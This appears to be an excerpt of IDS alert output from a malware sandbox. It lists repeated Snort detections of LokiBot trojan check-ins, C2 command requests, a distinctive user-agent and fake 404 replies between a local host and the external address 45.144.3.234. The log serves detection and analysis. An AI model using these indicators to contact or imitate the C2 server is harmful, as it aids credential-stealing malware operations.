Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49735 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49735 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49735 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49735 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49735
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49737 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49737 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49737 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49737 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49737
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49740 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49740 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49740 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49740 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49740
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49741 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49741 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49741 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49741 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49741
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49742 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49742 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49742 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49742 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49742
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49743 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49743 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49743 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49743 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49743
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49744 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49744 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49744 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49744 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49744
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49745 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49745 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49745 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49745 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49745
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49746 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49746 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49746 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49746 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49746
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49747 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49747 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49747 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49747 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49747
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49748 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49748 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49748 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49748 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49748
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49749 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49749 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49749 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49749 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49749
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49750 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49750 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49750 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49750 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49750
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49751 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49751 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49751 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49751 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49751
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49752 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49752 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49752 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49752 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49752
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49753 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49753 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49753 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49753 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49753
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49754 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49754 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49754 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49754 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49754
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49755 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49755 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49755 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49755 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49755
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49756 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49756 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49756 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49756 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49756
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49757 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49757 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49757 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49757 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49757
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49758 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49758 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49758 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49758 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49758
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49759 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49759 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49759 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49759 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49759
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49760 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49760 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49760 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49760 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49760
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49761 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49761 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49761 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49761 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49761
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49762 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49762 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49762 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49762 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49762
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49763 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49763 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49763 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49763 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49763
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49764 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49764 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49764 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49764 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49764
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49765 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49765 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49765 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49765 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49765
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49766 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49766 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49766 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49766 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49766
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49767 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49767 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49767 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49767 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49767
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49768 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49768 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49768 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49768 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49768
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49769 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49769 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49769 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49769 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49769
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49770 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49770 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49770 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49770 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49770
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49771 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49771 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49771 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49771 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49771
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49772 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49772 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49772 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49772 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49772
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49773 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49773 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49773 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49773 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49773
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49774 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49774 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49774 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49774 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49774
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49775 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49775 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49775 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49775 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49775
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49776 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49776 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49776 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49776 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49776
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49778 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49778 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49778 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49778 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49778
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49779 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49779 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49779 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49779 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49779
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49781 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49781 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49781 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49781 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49781
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49783 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49783 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49783 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49783 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49783
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49787 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49787 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49787 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49787 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49787
